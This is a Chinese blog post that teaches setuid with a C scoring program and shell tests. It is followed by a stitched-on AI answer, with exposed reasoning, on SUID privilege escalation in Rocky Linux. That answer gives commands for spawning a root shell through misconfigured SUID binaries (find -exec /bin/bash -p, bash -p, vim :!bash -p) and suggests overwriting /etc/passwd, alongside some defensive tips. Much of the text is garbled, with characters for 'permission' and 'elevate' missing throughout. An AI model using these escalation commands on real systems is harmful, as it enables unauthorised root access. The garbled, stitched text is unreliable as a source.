Linux - 使用setuid位进行提权

Linux - 使用setuid位进行提权

业务需求

设计一个计分程序,程序文件的owner=thesre;计分文件的owner=thesre,mode=644。
要求:

  • 该计分程序可以被其它非root账号执行,并对计分文件进行更新;

分析需求

由于计分文件的权限为644,只能被其owner更新。而上述要求中,又提到说其它非root账号通过执行该计分程序对计分文件进行更新。
这里,我们就要利用setuid的优势来完成该程序的开发了。

setuid能做什么

简单地说setuid,就是运行程序时,能够临时将权限提升至程序owner的权限,然后做一些只有程序owner才能有权限的操作。
像普通用户执行passwd修改密码、执行at命令设置一次性定时任务,都是利用这个原理来实现提权的操作。

下面我们就来看看本需求的代码实现。

代码

/* filename: caber-toss.c */
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>


/* Remember the effective and real UIDs. */
static uid_t euid, ruid;
char* SCORES_FILE = "/tmp/scores.txt";
char* cuserid(char *string);

/* Restore the effective UID to its original value. */
void
do_setuid (void)
{
  int status;

#ifdef _POSIX_SAVED_IDS
  status = seteuid (euid);
#else
  status = setreuid (ruid, euid);
#endif
  if (status < 0) {
    fprintf (stderr, "Couldn't set uid.\n");
    exit (status);
  }
}


/* Set the effective UID to the real UID. */
void
undo_setuid (void)
{
  int status;

#ifdef _POSIX_SAVED_IDS
  status = seteuid (ruid);
#else
  status = setreuid (euid, ruid);
#endif
  if (status < 0) {
    fprintf (stderr, "Couldn't set uid.\n");
    exit (status);
  }
}


/* Record the score. */
int
record_score (int score)
{
  FILE *stream;
  char *myname;

  /* Open the scores file. */
  do_setuid ();
  stream = fopen (SCORES_FILE, "a");
  undo_setuid ();

  /* Write the score to the file. */
  if (stream) {
      myname = cuserid (NULL);
      if (score < 0)
        fprintf (stream, "%10s: Couldn't lift the caber.\n", myname);
      else
        fprintf (stream, "%10s: %d feet.\n", myname, score);
      fclose (stream);
      return 0;
  }
  else
    return -1;
}


/* Main program. */
int
main (int argc, char *argv[])
{
  int feet_in_int;
  /* Parse arguments */
  if ( argc == 2 ) {
    feet_in_int = atoi(argv[1]);
    printf ("You're adding %d feet.\n", feet_in_int);
  }
  else {
    printf ("# of args is wrong.\n");
    exit(-1);
  }
  /* Remember the real and effective user IDs.  */
  ruid = getuid ();
  euid = geteuid ();
  printf ("Current ruid is %d, euid is %d\n", ruid, euid);
  undo_setuid ();

  /* Do the game and record the score with checking exception.  */
  if (record_score (feet_in_int) == -1) {
    printf("Error: failed to write file %s.\n", SCORES_FILE);
  }
}

编译

thesre@HP-Z420-Workstation:~/c_programming$ gcc -o ./caber-toss caber-toss.c 
thesre@HP-Z420-Workstation:~/c_programming$ ls -al ./caber-toss
-rwxrwxr-x 1 thesre thesre 17408 6月  28 22:34 ./caber-toss

测试

程序文件未加setuid

thesre@HP-Z420-Workstation:~/c_programming$ ls -al ./caber-toss
-rwxrwxr-x 1 thesre thesre 17408 6月  28 22:34 ./caber-toss

thesre账号运行,

thesre@HP-Z420-Workstation:~/c_programming$ ./caber-toss 2
You're adding 2 feet.
Current ruid is 1000, euid is 1000
thesre@HP-Z420-Workstation:~/c_programming$ cat /tmp/scores.txt
    thesre: 2 feet.
thesre@HP-Z420-Workstation:~/c_programming$ ls -al /tmp/scores.txt
-rw-rw-r-- 1 thesre thesre 20 6月  28 22:35 /tmp/scores.txt

thesre02(非计分文件owner)运行,可以是看到更新失败的!

thesre02@HP-Z420-Workstation:~$ id
用户id=1002(thesre02) 组id=1002(thesre02)=1002(thesre02)
thesre02@HP-Z420-Workstation:~$ ~thesre/c_programming/caber-toss 5
You're adding 5 feet.
Current ruid is 1002, euid is 1002
Error: failed to write file /tmp/scores.txt.
thesre02@HP-Z420-Workstation:~$

程序文件加setuid

thesre@HP-Z420-Workstation:~/c_programming$ chmod u+s ./caber-toss
thesre@HP-Z420-Workstation:~/c_programming$ ls -al ./caber-toss
-rwsrwxr-x 1 thesre thesre 17408 6月  28 22:34 ./caber-toss

thesre账号运行,

thesre@HP-Z420-Workstation:~/c_programming$ ./caber-toss 10
You're adding 10 feet.
Current ruid is 1000, euid is 1000
thesre@HP-Z420-Workstation:~/c_programming$ cat /tmp/scores.txt
    thesre: 2 feet.
    thesre: 10 feet.
thesre@HP-Z420-Workstation:~/c_programming$ 

thesre02(非计分文件owner)运行,这次我们成功地将/tmp/scores.txt文件更新!!!

thesre@HP-Z420-Workstation:~/c_programming$ su - thesre02
Password: 
thesre02@HP-Z420-Workstation:~$ ~thesre/c_programming/caber-toss 20
You're adding 20 feet.
Current ruid is 1002, euid is 1000
thesre02@HP-Z420-Workstation:~$ cat /tmp/scores.txt
    thesre: 2 feet.
    thesre: 10 feet.
  thesre02: 20 feet.
thesre02@HP-Z420-Workstation:~$ 

参考资料

https://www.gnu.org/software/libc/manual/html_node/Setuid-Program-Example.html

https://en.wikipedia.org/wiki/Setuid

https://man7.org/linux/man-pages/man2/setuid.2.html

<think>好的,我现在需要帮助用户了解在Rocky Linux中如何利用SUID进行升。首先,我需要回顾一下SUID的基本概念,确保自己理解正确。SUID(Set User ID)是一种特殊限,当设置在一个可执行文件上时,无论谁运行该文件,它都会以文件所有者的限执行。例如,/usr/bin/passwd就有SUID设置,这样普通用户修改密码时能临时获得root限。 接下来,用户的具体问题是关于Rocky Linux的SUID教程。我应该先解释SUID的作用机制,再逐步指导如何查找具有SUID限的文件,然后分析这些文件是否可能被利用。常见的可利用的SUID程序包括bash、find、vim等,如果这些程序有SUID,可能被用来限。 需要确保步骤清晰,用户能够一步步跟随操作。例如,使用find命令搜索SUID文件:find / -perm -4000 2>/dev/null。然后列举一些常见的可利用命令,并说明如何利用它们执行操作,比如使用find的exec参数执行命令,或者通过bash -p获取root shell。 同时,必须醒用户注意升的合法性,只能在授的环境中进行测试。此外,需要到防范措施,比如定期检查SUID文件,删除不必要的SUID限,使用最小限原则等。 在回答中,还需要引用供的参考资料。例如,引用[3]中到了SUID的作用和示例,引用[1]中的chmod命令设置SUID限,这些都可以用来支持解释。引用[4]中的例子展示了以root身份执行代码的情况,可以说明SUID的实际效果。 最后,生成相关问题,帮助用户进一步学习,比如如何检测系统中的SUID文件,或者SUID与SGID的区别等。要确保问题相关且有引导性,促进用户深入理解。 需要检查是否有技术错误,比如命令是否正确,步骤是否可行。例如,使用find命令时,参数是否正确,是否有处理错误输出的重定向。另外,到的示例是否适用于Rocky Linux,因为Rocky是基于RHEL的,可能与Ubuntu有些不同,但SUID机制是通用的,所以应该没问题。 总结回答的结构:先介绍SUID概念,然后步骤分解,包括查找文件、分析利用、示例演示,接着是防范措施,最后相关问题。确保每个部分逻辑清晰,语言简洁,符合用户要求的中文回答,并且正确使用LaTeX格式标注行内公式(如果有的话,但当前问题可能不需要数学公式,不过需检查是否有需要的地方)。</think>### Rocky Linux SUID原理与实现 SUID(Set User ID)是Linux系统中三种特殊限之一,当可执行文件设置SUID后,执行该文件时会以文件所有者的身份运行[^3]。该特性常用于需要临时限的系统工具(如$passwd$命令),但也可能成为攻击者升的入口。 --- ### 一、SUID实施步骤 #### 1. 查找SUID文件 ```bash find / -perm -4000 2>/dev/null # 搜索所有SUID限文件 ``` 关键结果示例: ```bash /usr/bin/bash /usr/bin/find /usr/bin/vim /usr/bin/cp ``` #### 2. 分析可利用程序 常见危险SUID程序: - **find**:可通过`-exec`参数执行命令 - **bash**:使用`bash -p`可保留特 - **vim**:通过`:!bash`启动shell - **cp**:覆盖敏感文件如/etc/passwd #### 3. 操作示例 **▌ 通过find** ```bash touch testfile find testfile -exec whoami \; # 显示当前执行身份 find testfile -exec /bin/bash -p \; # 获取root shell ``` **▌ 通过bash** ```bash bash -p # 启动特shell id # 验证uid=0(root) ``` **▌ 通过vim** ```bash vim /anyfile :!bash -p # 在vim中启动shell ``` --- ### 二、防御措施 1. **限审计**:定期执行`find / -perm -4000`检查 2. **最小化原则**:使用`chmod u-s filename`移除非必要SUID限[^1] 3. **命名空间隔离**:容器环境中限制root限传播[^4] 4. **系统更新**:及时修复类似CVE-2015-1328的本地漏洞[^2] ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王万林 Ben

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值